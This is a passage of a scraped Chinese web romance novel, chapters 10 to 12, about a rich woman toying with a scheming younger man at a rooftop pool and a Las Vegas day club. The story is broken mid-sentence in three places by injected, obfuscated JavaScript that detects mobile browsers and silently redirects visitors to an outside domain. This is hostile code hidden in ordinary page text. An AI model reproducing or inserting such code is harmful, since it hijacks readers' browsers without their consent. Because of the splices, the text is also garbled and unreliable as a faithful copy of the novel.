一旁的女人看热闹不嫌事大:“原来他就是勾引廖总的服务员,长得确实不错,旁边那几个男的都差远了,也不怪廖总回云州两天了都不找你。” 张洵压着火,冷眼瞥她:“你不是只喜欢女人么,也有心情点评男的?” 女人直接把胳膊搭在他肩上,勾唇笑道:“我觉得未婚夫也很帅呀,我们生的孩子一定很漂亮。” 张洵正烦着呢,没心情跟她多说。余光一偏,那边慕邵凡竟然俯身越过沙发靠背,在众目睽睽下把廖筠给捞起来抱走了。 赵曦玉一脸惊讶,隔着老远看向张洵,想要探究他此刻的表情,在看到他未婚妻的时候更是一愣,讪讪地点了点头算作打招呼。 未婚妻从容地笑着提醒:“亲爱的,赵二公子要看你热闹,你快理理人家。” “滚开。”张洵神色阴沉地拂开她的手,大步跟了上去。 … ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14283492|151953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 乘电梯向上,有一片未对外开放的露天花园,带着一个小泳池,廖筠很喜欢来。 没什么华丽的装饰,只有一盏灯高高地吊在入口处,照明效果微弱。 廖筠对慕邵凡说,他刚才喝的那杯酒被下药了,必须马上进池子里泡凉水冷静冷静。 于是微醺的慕邵凡完全没想过这话的真实性,就这么被她指挥着来到这里,脱了外套和鞋袜,穿着衣服下了水。水包裹而上时,凉得浑身一激灵,委屈地看向池边悠然坐着的廖筠:“这里可以吗?” 廖筠的小腿在水里划弄了两下试探温度,借着视角调戏他:“可以,再往下点,应该很快就泡好了。” 慕邵凡很不理解地问她:“刚才那些人为什么要往酒里……” “哪有那么多为什么?”廖筠居高临下,抬脚踩在他的肩膀上,“男人想要觊觎我,攀附我,不是很正常么。” “可是你既然知道酒有问题,也没拆穿他们。” “拆穿?”廖筠像在听什么笑话,“给我敬酒的可是小张总哥哥那边的亲戚,他找我只是为了气小张总,是他们家的私事,我看个热闹,平时还得有生意往来呢。再说了,人家顶多就是想爬上我的床,又没恶意,谁让我不带保镖呢,带了一只胆小的狗,不会护主,遇到事活该自己顶着。” 话音落,她脚下忽然一用力,泄恨似的把他踹倒,看他猛然失去平衡,嘴边不禁泛起一抹嘲笑。 今晚活动人员密集,阿杨早就准点回来了,正在暗处保护。她这么说纯属是逗他好玩,就像骗他说酒里有药一样。 顺势跳进泳池,她身上的红裙如火焰一般瞬间没入水中,拨开身前的池水,游向了泳池的最边缘。 水深只有一米二,水面与边缘的池壁平齐,往下便是几米高的落差,如同悬崖。 有时水溢出,会像瀑布似的落下,如果没有一层装饰护栏,人一旦滑出去就和坠楼无异。而当目光越过护栏和楼下的绿树时,几乎能清晰地看到生日宴上热闹的人群,那嘈杂震耳的音乐仿佛就在耳边,显得这个地方是那么的私丨密又暴丨露。 抓住护栏,廖筠回头看慕邵凡终于站稳了,叫他:“过来。” 慕邵凡酒量不佳,喝完那杯本就晕乎,这下干脆头重脚轻,好几次都差点栽进水里,向后撩了一把头发,漂亮的眉骨和额头完全露了出来,看着比平时更成熟了,但也有些陌生。 来到她面前,她不知道从哪儿拿出个巴掌大的小黄鸭子,放在他头顶。 慕邵凡没看清:“……什么?” “上次跟小张总玩落在这儿的,很可爱的小东西。” 慕邵凡任她摆布,手扯了扯衣领。 廖筠单手帮他松开领带:“衣服沾水会变沉,不舒服可以脱掉。” 慕邵凡愣了愣:“在这?” “在这,不可以吗?还是说你又紧张了,又不适应?你跪下求救的时候好像没这么胆小吧。” 慕邵凡知道她不高兴,低下头,主动解扣子,头顶的小黄鸭也“吧唧”掉到了水面上。 廖筠捏着小黄鸭,就像是把猎物捏在手中揉扁搓圆,捏够了随手一扔,双臂撑着池边,无聊地看着楼下狂欢的人们。 那个奢靡的世界是她的生活,又好似离她甚远。 慕邵凡只怕自己再多嘴,会惹她更生气,于是静静地守在她身边,乖得过分。 廖筠正盘摸着该怎么训狗才能既有效又好玩,没想到目光随意扫了两圈,竟然在楼下看到了暴躁的张洵,那四处抓人打听的样子,估计是在找她呢。 10. 10,争宠 廖筠往树后藏了藏,不想让张洵发现她。 谁都知道他们圈子乱,但也没见上赶着给观众演热闹看的,真把乱七八糟的东西拱到明面上那不是有病么。何况她现在感兴趣的是慕邵凡,有了新玩具谁不想图新鲜赶紧玩。 悄悄观察着楼下的情况,张洵没打听到他们的去向,又被小李给叫走了。廖筠松了口气,软趴趴地靠着栏杆。 六月的夜晚风很冷,他们在这泳池待不了太久。 转头看向慕邵凡,他竟然把小鸭子又捡了回来,乖乖顶在头上,一动没动。可能是新玩具滤镜,廖筠觉得他真是可爱极了。哪怕他胆小,不诚实,不听话,也抵不住他长得好看啊。 男人被爱的前提是帅且身材好,其他小问题都可以慢慢调丨教。 朝他勾勾手,他茫然眨眼,小心地往前挪了一点。 “知道错了吗?” “知道了。” “错哪儿了?” “……错在没有完成任务,让你失望了。” 廖筠嗤笑:“这话说的,我什么时候指望过你啊。” 慕邵凡眸色轻颤:“我没做好,我不狡辩,但我想解释一下原因。” “说。” “我刚才之所以没跟你过去,不是因为紧张,是因为小张总旁边有一个我不想见的人,是我继母婚内出轨,跟她前夫生的孩子,就比我小两岁,身份比较尴尬,我们关系也并不友好。刚刚走近了才看到,就没机会跟你说。” 廖筠不自觉皱眉:“……你爸那条件还玩离婚?不过也是,就他那样的谁不想跟他离婚,能再婚才是奇迹。” 慕邵凡没说话。 廖筠想起酒保随口提起过他们家的情况,赌博的爸,生病的妈,还有个鬼混的妹妹不着家,再加上那个不懂尊重人的爷爷,也难怪他的性格会这么拧巴又谨慎。 “你妈妈应该挺不容易的吧,她现在身体好些了吗?” “现在挺好的,”慕邵凡奇怪,“你怎么会知道?” “在WRing的时候阿哲说的,不然你以为我是小说霸总啊,还能扒你全家资料。我只是有点臭钱,又不是神,在不违法的前提下,有钱人想知道什么,顶多就是找找关系人脉,再找几个闲的没事的手下到处打听。” “那,你也打听过我吗?” “你猜。” 慕邵凡小声:“肯定打听过了,所以觉得我不好。” 廖筠轻笑:“何以见得?” “因为你昨天对我还很温柔,今天就……” 廖筠实在是忍俊不禁,用手指捏住他的脸:“就什么?哦,掐你脖子是温柔,今天接你放学,跟你吃饭,还带你来玩,是不温柔?你是不是欠虐。” 慕邵凡顺从地被她捏来捏去,那双乌黑如玉的眸子委屈巴巴地望着她,不躲不闪的时候,仿佛总是蕴满着一种莫名的深情。突然对她也伸出手,他抬起她的下巴,猝不及防地倾身靠近,吻在了她唇上。 廖筠还没来得及反应小狗的热情,下一秒便已经被他给抱住了。 双臂环住她的腰,宽厚的肩膀不容拒绝地挡在她身前,高大的身躯微微弓着,偏要把下巴抵在她肩窝上蹭。 廖筠闻着他身上好闻的香水味,突然有点后悔给他选这一款。他给人的印象太干净了,仿佛从内到外都散发着皓月般寒凉素雅的纯,任何绚丽的点缀对他来说都显得那么多余,简直就是照着她的喜好标准定制出来的纯欲小狗。 小狗在她耳边嘟嘟囔囔:“我喜欢你刚才的笑。” “什么?” “你今天好像一直都很讨厌我。” 给他体检过后对他的质问,理工大门前对他的轻视,吃饭的时候对他的戏谑,还有步行街上对他嘲讽。 其实他都明白。 “我知道我什么都不讨人喜欢,还总做错事惹你不高兴,配不上你对我温柔,我会学着改的,你不要讨厌我好不好。如果我实在改不掉,我就自己走,不烦你,但是你昨天才说要养我,我们才认识一天……” 才一天,不够他成长的时间。 软声软气,楚楚可怜,差点把廖筠的心都给软化了。 顺着他的脊背轻轻安抚两下,廖筠正想说点什么哄哄小狗,只听身后“砰”的一声,花园上锁的栅栏门被暴力踹开。伴随着小李喋喋不休的念叨,廖筠不用回头都知道是谁来了…… 赶紧推开慕邵凡,果不其然看见张洵黑着那张好看的脸站在岸边,小李则压根没敢跟进来。 这花园有两个入口,一个是电梯,一个是步梯,张洵既然腿着出现,估计是步行找了她一路。隔着池水望着她,神色不明:“上来。” 廖筠吃软不吃硬,不喜欢被人命令,向后靠在小狗身上:“上去干嘛?我在这待着挺好的,没看我在忙吗?” 张洵耐着性子:“你要是喜欢这里,明天白天我再陪你来。晚上有风,吹着冷,我们会感冒的。” 他有遗传性哮喘,一感冒就麻烦,言下之意廖筠如果不上去,他现在就要一起下水。 廖筠想了想,也没必要折腾那么大,于是妥协往前去。慕邵凡下意识伸出手,在水中却只抓了一把空。 张洵提前蹲在岸边等她,等她游到跟前,傲娇地抿着嘴角说:“你上次来我这游泳是过年的时候吧,我找你都找到隔壁去了,也没想到你会冒出这种兴致。” 廖筠真想把他拽下来摁水里,抬起胳膊命令他:“拉我。” 张洵笑了,抓住她手臂:“没力气怎么办?为了找你我饭都没吃。” 廖筠作势要往下拽他,身后的慕邵凡不知道什么时候跟了过来,直接用长臂揽住她的腰,体贴地说:“我来吧。” 胸膛贴近她的后背。 他就这么当着张洵的面,臂弯用力,轻轻松松地把她抱着托了上去。裙子沾水沉得跟块石头似的,可他面不改色,一边将她放下,一边细心地顺手为她整理好贴在大腿上的裙摆,没让她走光。 廖筠很满意他这种温柔绅士的举动,好心伸出手:“来,你也上来。” 小狗很乖,刚要把手给她,张洵忽然箍着她的腰把她往旁边拽了一下,一整个搂进怀里,关心地问:“冷不冷?早知道你在这,我就把外套带来了。” 廖筠笑他幼稚:“那你现在去拿,也来得及。” “你跟我一起去。” “我衣服都湿了怎么去,让人看我笑话?” 正拌着嘴呢,慕邵凡又自己爬上来了,阴魂不散似的,拿着他的外套过来,单膝跪地,小心披在廖筠身上:“别感冒了,穿着再去吧。” 张洵:“……” 死绿茶。 廖筠只觉得慕邵凡的表现太乖了。确实,才认识一天,很多问题,很多秘密,很多怀疑,也不能一天就让人家说明白。把外套领口拉紧,她缩在这件干燥温暖的衣服里,伸手摸了摸他脸上的水:“你呢,冷不冷?” 湿漉漉的小狗眼巴巴望着她:“我没事。” “冷不死的,”张洵抢话,把她的胳膊也拽了回来,“我们先回屋去吧,我的衣服也湿了。” 廖筠一看还真是:“谁让你抱我的,把你弄感冒了张夫人又要找我。” “我乐意抱。”说着话,张洵将她打横抱起,好像较劲儿似的,故意看向慕邵凡,扯开嘴角,“慕先生是吧,时间不早了,今天我生日,楼下有专门的工作人员食堂和留宿的房间,你就说小张总让你去的,让他们给你匀一间卧室,你好好休息。” 廖筠并没有多说什么,默许了张洵的无礼,两人一起走了。 慕邵凡一个人站在这寂静的小花园,浑身上下都湿透了,滴滴答答落着水。就算不用风吹过来,一阵阵的凉意也能把他刺得骨头疼。 可他面无表情,眼底甚至有些淡漠。 垂下眸子,把廖筠落下的高跟鞋拎在手里,光着脚朝他们离开的方向跟了过去。 …… 只要是张洵所有的房产,不管在哪里,都会有一间屋子留给廖筠。 廖筠一路被抱着,知道他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小狐狸好爱滚雪玩,亲吻小玩具的时候不忘抬着那妩媚风情的眸子,眼里饱含着讨好的意味。她呼吸一窒,摸摸他的脑袋,眼神不禁恍惚了一下。 这只小狐狸也是从白纸被她一点一点教到现在的,每一个习惯的形成都是为了她量身定制,更懂得她的喜好与需求,媚起人来果然很难拒绝。 可是今天不行。 今天是他二十四岁生日,她并不喜欢在这种特殊的日子做什么,一旦给人留下了浪漫深刻的印象那很缺德。更何况他的假未婚妻来了,赵曦玉说,江家近几年发展不顺,他们的联姻可能要更快地提上日程。 轻哼一声,她捋顺着自己的呼吸:“江小姐这次来云州,好像不打算走了?” 张洵神色微变:“谁告诉你的?”马上凑过来蹭她的下巴,“她是要来住一段时间,不过跟我没关系。她有女朋友,我跟你说过的。” 廖筠捧着他的脸,阻拦他的亲吻:“她有没有女朋友不重要,重要的是她来了,你就得维持张家的体面。你知道的,我不喜欢别人的东西,你身上沾了别人的气味,我就不想玩了。” “……我们非得今天聊这个吗?”张洵隐隐有些不悦,撑着胳膊认真地看着她,“你希望我怎么做?” “我希望?”廖筠笑,“我希望你赶紧起开,我要去洗澡换衣服。” 说着终于把他给推开了,拢着身前垂落的衣服站起身:“去找阿杨,把我的包拿来,我要卸妆。” 张洵不乐意,但还是很听话地把包拿来送进浴室,又被她推出门外等。 廖筠直接翻出手机给张夫人发了条消息,然后开始洗澡。等她冲完澡出来,张洵果然不见了,阿杨穿着一身便于隐藏的黑色正装,倚着玄关墙壁,拿着给她准备的干净衣服。 她对阿杨并不避嫌,围着浴巾优哉游哉地过去:“小张总没说什么?” “没说,”阿杨双手把衣服递上,“不过慕先生在外面。” 廖筠挑眉:“他俩撞上了?” “嗯,打起来了。” “……你没插手吧?” “拍照了。” “……” 廖筠叹气,也不知道是不是跟男色相冲,最近这些男的没一个省心的。 让阿杨把慕邵凡叫进来,她先换好了衣服,没想到慕邵凡竟然还是浑身湿漉漉的样子,面色泛白,嘴角红肿,破了一点皮。 11. 11,male escort 骆哥动手是为了把慕邵凡卖掉,所以打得不狠,更不打脸,张洵却不一样,下手就见血。 这傻子也真是的,一天到晚总在挨揍。 廖筠捏着他的下巴左看右看:“还手没?” 慕邵凡无精打采:“没有。” “你怎么惹到他了?” 慕邵凡不说话。 “去洗澡,把你这身换掉。” 几分钟后,廖筠拉着洗干净的小狗坐在沙发上,找来了碘伏和棉签给他嘴角擦药,他没表现出很疼的样子,但是廖筠可是心疼坏了,动作又轻又柔:“你说你啊,非要惹他干嘛,我都提醒你离他远点了,你看看这张脸,打坏了怎么办?” “……打坏了你就不喜欢了吗?” “废话,你要是长得丑我连救都不救你。” 慕邵凡委屈地抿了抿唇,等她把手里用完的棉签扔掉,赶紧往前挪了挪,伸手想抱她。 廖筠没拒绝,拍拍他的脑袋:“就算主人说要给你撑腰,你也不能背着我找死吧,下次我不在的时候机灵点,听见没有?” 他闷闷地点头,试探着啄她的唇。 他太乖了,跟张洵那种热烈张扬的性格完全不同,连亲都亲得小心翼翼,让人充满保护欲。廖筠正心疼他呢,也没多想,笑着说他:“想亲就亲,怕什么,又亲不坏,小张总可比你凶多了。” 小狗微微蹙眉,下一秒果然不服气地吻了上来,嘬得直响。 把她拥到沙发角落,他顺势爬上来,一大只跪在她面前,浴袍松松垮垮的领口遮不住胸肌,配上他这张漂亮但带着点伤的脸,更显得纯谷欠撩人。 拱在她耳边一下一下地蹭,小狗轻哼着说:“那他也比我快多了。” 廖筠一愣,失笑道:“你们俩至于么,这么幼稚。到底是怎么打起来的?我是真好奇,他平时很少这么失态。” 小狗还是不太想说,支支吾吾着很含糊:“我就说了刚才的……” “刚才的?” “我说,‘你好快’。” “……?” 没见过敢这么找死的人。 廖筠性格强势,喜欢被人依赖,但不喜欢被人纠缠。 慕邵凡这副惨兮兮的可怜样,又倔强又委屈,显然戳中了她的同情心,且远不及让她厌烦的程度。 把寿星抛之脑后,廖筠好脾气地跟慕邵凡玩游戏玩到半夜。 期间张洵给她打过一通电话,她没空接,半阖着眼睛坐在慕邵凡怀里发愣,只有嗓子眼里偶尔溢出几声闷哼,随着他的逼近或离去时轻时重,困得意识恍恍惚惚。 张洵比温跃有经验,知道她不接就没必要再打了,第二天一早直接跑来找人,可惜来晚一步,人去楼空。 一直到十几个小时之后,云州再次陷入黑夜,失踪的廖筠终于出现,拍了一张和朋友们在拉斯维加斯Dayclub看帅哥跳舞的照片发给张洵,配文是:主动报备,人很安全~ 张洵没有立刻回复,十分钟后才说:宝宝少喝点酒。周五家宴,记得过来。 廖筠忙着跟朋友聊天,恰好没看见这条消息。一脸无辜的慕邵凡见状默默伸出手,“好心”帮她点掉了小红点。 再过几天是廖筠二姑的生日,她早就想来玩,顺便买点礼物,正好慕邵凡曾经出国参加过画展,想来应该有护照和签证,昨晚询问过后得到肯定答案,直接就订机票了。 她好爱逛街买东西送人,觉得这样很有趣,而club这种挤满了玩咖的地方更有趣,几乎是她出门旅游的必玩之地。落地后连时差都没倒,直接就跟着朋友们过来了,一会儿的功夫身边换了好几个搭讪的男人,完全不避着慕邵凡。 她对每个都非常温柔有耐心,起码要跟人家拉拉小手摸摸脸,欣赏一下胸肌和背肌的纹身,检查一下肱二头肌的力量感,再试试腹肌练得怎么样,说说笑笑,一晃就过去半天。 白男比较放.浪,敞开着海滩衬衫就可以往人身上贴,还有的只穿着沙滩裤,借着跳舞的名义勾丨引撩丨拨,她来者不拒,大大方方地占人家便宜。 只不过有点双标的是,她不准别人反过来占她的便宜,谁要敢动手动脚,那她便会抵在对方胸口把人推开,厌烦地摇摇头。 她的长相温婉明艳,是典型的东方气质型美女,穿着吊带泳衣还披着一件防晒,性感但不暴露,是白男很喜欢且很难碰到的类型。 有个坐在她身边的白男观察了她很久,看着她跟其他人周旋,不停地笑。等她染了些醉意,朋友们也各自走开后,终于神不知鬼不觉地靠了过来。 凑近了跟她说话,边说着,手若有似无地搭在她的后背。 指尖隔着薄薄的防晒服,轻轻划过蝴蝶骨时,她心里一紧,脑子懵了片刻,差点把酒洒了。后背是她比较敏丨感的地方,喝了酒之后反应有点大。 “CanIkissonyourlips?” 白男的气息贴在她耳边,长臂挽上了她的腰。 绅士的询问,掩不住直白赤丨裸的发丨情。仿佛只要她因为醉意反应迟钝一秒,他就会自作主张地亲上来。 廖筠很嫌弃白男的体味,玩玩罢了,又没打算真的猎艳。蹙眉偏过头去,正想拒绝,忽然间却有一股力量抓住那个白男的衣领,粗鲁地把人给拽走了两米远。 她回头一看,慕邵凡像座山似的挡在她面前,隔绝了对方想要觊觎她的目光。 “Goaway.” 语调平静,小狗还怪有礼貌的。 廖筠笑了笑,抓住他蓝色的花衬衫,歪头靠在他的后背上,闭着眼睛说:“敏敏,我困了。” 慕邵凡没敢动,只是问她:“要睡一会儿吗?” “嗯,你抱抱我。” 得到准许,慕邵凡转过身来坐在她身边的高脚凳上,抱着她,做她打盹的支撑物。 阿杨今天一落地就请假了,莫寻又在国内坐镇没跟过来,几个随行的黑衣保镖不太顶事,所以慕邵凡尤为紧张,生怕在这种混乱的环境下一个没看住,她会有什么危险。 结果刚才果然,他只是低头看了一眼手机消息,没想到别人竟然敢碰她。 目光沉沉地望着她的发顶,他的掌心很轻地摸了摸她的后背,就像狼死守着自己的主人,眼里满是对敌人的警惕和不悦。 这时,他的手机震动了一下,收到了今天第三条写着乱码暗号的短信。连发三次,意思是有急事。他歪头确认廖筠没有察觉,做贼似的打开微信,从黑名单拉出唐秋。 不接急稿:什么事? 扣扣人:骆哥在找买家,要不要出面? 不接急稿:报价多少? 扣扣人:不清楚,十万左右。 不接急稿:……太多了,我现在没钱。要真让他找到傻子,他死倒没什么,就怕把廖总卖了。 扣扣人:你跟廖总在一块儿呢?要不你提醒提醒呗,廖总既然敢给,肯定早有准备,不可能这让这孙子真逍遥。 不接急稿:我们在国外,不一定什么时候回。 慕邵凡说完,又小心确认了一遍廖筠是否在睡,明知道这种拥抱的姿丨势她不会看到什么,还是觉得心虚,默默把屏幕亮度调低。 扣扣人:哇,进展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14283494|151953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么快,你的攻略有效啊!他都这么信任你了还带你出国,慕家的复兴指日可待!!! 不接急稿:我是不是说过你脑子不好就少说话。 扣扣人:我不管,只要慕家不破产,你肯定能当上慕家家主,到时候咱俩的债一笔勾销!你不准问我要钱! 不接急稿:慕家是慕家,你欠我钱是你欠我钱,继续盯着姓骆的,别说废话。 说完把唐秋又丢进了黑名单。 能这么突然地跟廖筠出国,慕邵凡当然很意外,但是她并没有什么特别的举动,只是在飞机上逗着他说了几句英文,还让他用意大利语给她讲故事。 FROLA的总部就在佛罗伦萨,这么要求肯定有试探的意思,他也没忸怩,顺从地按照她的要求做了。结果她很高兴,很满意,不光亲了他好几下,还不停地夸他可爱,捏他的脸,跟他的相处变得分外亲昵,态度好得出奇。 甚至连阿杨请假的时候也没生气,而是拉着他的手说:“还有敏敏跟着我呢,敏敏会保护主人的对吧?” 他想了想,好像因为昨晚他在泳池说的那些话,又因为他被小张总打伤,所以导致她对他的容忍度和宠爱度提高了…… 他早就调查过,她喜欢的类型一直很固定,也很好总结,只要贴着那种类型去演,似乎屡试不爽。 过了一会儿,廖筠的手机也响了起来。 她被声音惊扰,再加上周围的音乐声和欢呼声太吵闹,本来也睡得不好。打了个哈欠,起来一看,是庆衾发来的消息。她没急着点开,而是揉了揉额头,对慕邵凡说:“帮我拿杯果汁,酒喝太多了,头疼。” 慕邵凡乖乖答应,嘱咐她:“我马上回来,你不要跟别人走。” 廖筠笑他:“知道了,我又不是小孩儿。” 消息果然是跟唐秋有关的内容。 要不怎么说无差别恋爱脑的人都是脑残呢,见到个异性就孔雀开屏,脑袋一热就开始盲目信任,什么也想跟人分享。 那边刚跟慕邵凡聊完,唐秋转头就嘚嘚瑟瑟地去找庆衾了,自作聪明,以为装得高深莫测,和庆衾说,他有个朋友忍辱负重,跟在一个大佬手底下卧薪尝胆,现在终于初见成效了,可能很快就会成功。 庆衾问他什么成效,什么成功。 他神秘兮兮地说,这是秘密,反正是事业上的事,等他朋友骗取大佬的信任之后,他也会跟着沾光,说不定会变得非常钱,到时候一定请她吃大餐。 庆衾懒得理他说的疯话,直接把截图发给廖筠。 作为黄诗灵的徒弟,慕邵凡有野心,看不上她给的几万饲养费倒也正常,可是照唐秋这么个说法,慕邵凡到底想图她多少钱?总不至于把她惦记破产吧。 信任这玩意儿简单,装给他看看也不是不行,就是不知道他能不能负担得起报酬。 不等慕邵凡回来,廖筠起身跟朋友们去往泳池旁边听歌。 Club不光有DJ舞曲,流行、嘻哈、摇滚等等各种类型的演奏也都会出现,现场甚至常有艺人和乐队来出演,歌手休息的时候还可以让游客上去献唱一首。 廖筠发现慕邵凡找过来,笑着朝他招手:“这里!” 慕邵凡快步走近,先把果汁给她,然后在她的沙滩椅旁边席地而坐,像个小娇夫似的小声嘟囔:“差点找不到你。” 廖筠不以为意,嬉笑着给朋友们说了句什么,突然要求他:“你也去唱一首吧。” 趁他没反应过来,伸手就扯开了他衬衫的衣领,他愣了一下,微微蹙眉,随即听她跟朋友聊到他时用了一句“maleescort”。 12. 12,羞辱 慕邵凡是很保守的人,哪怕入乡随俗,来Dayclub穿着夏威夷海滩风的大花衬衫,也依然把扣子系了起来。 他不会抽烟,不爱喝酒,对美女没有兴趣,当有人穿着过于暴露的衣服在他面前出现的时候,他甚至会有些反感地皱起眉头。除了被廖筠教着玩了几次游戏,正直得就像连小电影都不会多看两眼的纯情派。 可是廖筠扯开了他的衣领,第一次向朋友们介绍他,把他形容为男丨妓。 说好听点叫小白脸,小鸭子,说直接点就是卖的。 敢在这种地方当着那么多玩咖登台献唱,哪个不是玩得花又放得开,最基本的就得先把衣服脱了,大大方方光着膀子,连穿着花裤衩都会被起哄。 有了廖筠的起头,这些和慕邵凡完全不认识的朋友们胡闹似的一拥而上。嬉嬉笑笑着扒掉了他的衣服,就像遭受了一遍玩笑式的人格霸凌,他明显愣住了,但已经被推了出去,两个大笑的男人更是直接把他领上了台。 他复杂的眼神如同一片嘈杂混响的盲音,刺得人神经发疼。可是目睹一切的廖筠却笑着倚在朋友身边,好似在期待什么事不关己的热闹。 明明上一秒还说他可爱,说很心疼他的伤,结果一时兴起就变了副嘴脸。答应给他撑腰的人默许了这场羞辱的闹剧,这才是她的真面目吧。 这才是她玩过那么多男人,片叶不沾身的本性。 朋友里有个是从云州来美国留学的女孩,跟廖筠认识很久了,起哄完了小声问道:“他看起来好呆啊,一直在看你,会不会生气呀?” 廖筠歪着头,将长发从耳侧捋顺:“生气就生气呗,我又没禁止他生气。” “你从哪儿捡的这种小可爱,那眼神都给我看得不好意思了,我跟犯了罪似的。” “少来,”廖筠笑她,“你以前玩得花的时候,连你小舅舅都不放过,怎么突然泛滥同情心了?” 朋友得意地笑了笑:“我现在有正式男友好不好,就你上次给我打电话,在厨房做饭的那个。要是没点同情心,我能看上那种榆木疙瘩么。你都不知道,他追我的时候就跟打卡似的,早安,晚安,吃饭没,睡了没,下雨了,忙不忙……哎呀哎呀,我都懒得说。” “那还是别说了,”廖筠又想起温跃来,赶紧摇头,“我对这种人到死都没兴趣,放过我吧。说不好听点,谈个恋爱连自己的人格都没了,活着还有什么意思。” “哈哈,你这么说,可别怪我瞎猜,我看这个小帅哥也是个付出型的人夫,不过能被你看上,应该没那么无趣。你悠着点吧,再这么祸害人家,小心造孽。” 这边说着话,乐队的音乐已经响了起来。 前奏是很轻的钢琴音,30多秒过去还没切入主题,不那么火热的节奏显然没引起太多人的兴趣,凑到跟前来玩的本就不多,一听是抒情乐,当场散开一批。 好不容易等到慕邵凡开口,唱的第一句词不是英文,很多人听不懂,又赶走了不少客。 廖筠虽然也听不完全,但知道他唱的是意大利语。 她对意大利语的听力一般,看到字大概能明白意思。在飞机上他给她讲故事的时候其实跟催眠差不多,耐不住他声音好听,所以生生听了那么久。那短暂又漫长的几个小时,也可以算作一种温馨浪漫吧。 要是他没有带着野心蓄意接近她,至少在关系结束之前,他们本应该更简单快乐地度过。 慕邵凡坐在麦克风跟前唱歌,一直半低着头。 廖筠很想从他的脸上看到什么。 屈辱,愤怒,痛恨,或者是埋怨,可惜都没有。 即便被推到这种地步,被强迫着做感到不自在的事,也还是听话顺从,逆来顺受,维持着最基本的体面。让廖筠都有点想不通了,到底得图她多少钱啊,这么豁得出去。 歌曲的后半部分,音乐渐渐从深沉的低吟转升为情绪的强调。 快结束时,朋友举着手机说:“唱的还挺好听诶,我听歌识曲了,好像是这首《OGNICOSA》。” 廖筠淡淡地扫过去一眼,正好看到最后一句:quandoseiconme,iltempovola,sopraogniparola,edintornotuttosplendera. 直译大概是:当你跟我在一起的时候,时光在每一个字上飞逝而过,周围的一切都闪闪发光。 她微怔,总感觉好像在哪看到过类似的话。 伴随着音乐的戛然而止,歌曲结束。听众鼓掌欢呼,慕邵凡依然没什么表情。 他站起身,就像完成了一场机械性的任务,沉默着走回来,捡起地上的自己的衣服,默默地穿上。这次他没有系扣子了,来到廖筠身边和刚才一样席地而坐,仰起头,还是那副呆萌无辜的表情,就仿佛什么都没发生过。 “还要果汁吗?” 廖筠的果汁根本没怎么喝,直接倒进点心盘子里:“再来一杯。” 慕邵凡又爬起来给她拿。 没倒时差的结果,廖筠精力不足,再次开始犯困。 拉斯维加斯温度比云州高很多,热的时候逼近40度,她午饭都不想吃,只想回酒店补觉。幸好酒店离得也近,徒步很快就能回去。 阿杨给她订的套房,里面有两间卧室。 她没让慕邵凡继续跟着,而是给随行保镖使了个眼色,然后自己进了主卧。困得连洗漱卸妆的精力都没有,反锁了门,在床上滚了一圈就睡了。 等她睡醒已经过了几个小时,肚子饿得直叫,爬起来先去洗澡,然后素颜涂上防晒和口红,换了身衣服往外走。 慕邵凡也已经洗过澡了,一直在客厅等她,见她出来马上说:“要不要吃点东西?刚才送了一些上来。” 廖筠警惕地看他一眼,再看桌上的食物,慢悠悠走过去,捏起一根薯条:“你没下毒吧?” 慕邵凡茫然:“啊?” 直接把发软的薯条塞他嘴里:“吃下去给我看看。” 他愣愣地咀嚼着,被她冰冷的目光盯着吞咽:“……你觉得我会下毒?” 廖筠笑盈盈道:“不好说啊,万一你心理扭曲了怎么办。”吃了一口鸡块,凉了,没什么胃口,又扔回盘子里。她把慕邵凡拉起来,“下午出去逛街吧,你换身衣服。” 慕邵凡的胳膊缩了一下,抵触情绪不过半秒,接着便答应:“好,要换什么?” “跟我来。” 廖筠把他领回卧室,上午已经有专人送来了几套衣服,男装女装都有。她随意选了件男款白衬衫,用手指挑起来往后给他:“这个。” 慕邵凡接过,垂下眸子,一声不吭地脱掉了身上的浴袍,露出肌肉紧实的身材。 他平时经常锻炼,身上的肌肉却并不夸张,是很漂亮的薄肌,再加上肩宽,腰窄,比例完美,一身偏白的肤色,给人以温润柔和的印象,清爽单纯如少年,没有那么强的雄性攻击感,所以看起来很好亲近。 廖筠没有给他搭配长款西裤,考虑到天气,选了一条黑色制服款式的五分短裤。 递给他的时候,她顺便上下打量他一圈,忽然想起什么,又在配饰区拿来一根领带,两根黑色的衬衫夹绑带:“坐下。” 慕邵凡坐在床边,大腿因为微微用力鼓起漂亮的肌肉线条,很快又伸展开。 廖筠把他推 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不化妆的时候,她看起来没那么凌厉,很温柔,也很邻家。他见过几次她的素颜,但在白天是第一次,迎着太阳的自然光,这么近距离且彼此都清醒,能看到她双眼皮恰到好处的走向,睫毛卷翘可爱的弧度,眼瞳的深棕色染着一些俏皮的琥珀,汇成一道引人深陷的漩涡。 皮肤没有那么完美,却有一种让人感到亲近的活人气息,好像她终于不是那个高高在上的廖总了,只是一个普普通通的二十二岁女孩。 一个阴晴不定,心狠残忍的女孩。 廖筠不知道他在想什么,双臂搭在他肩上,低柔的声线沾着一丝没睡醒的慵懒,腻歪着问他:“敏敏,我是不是你第一个女人?” 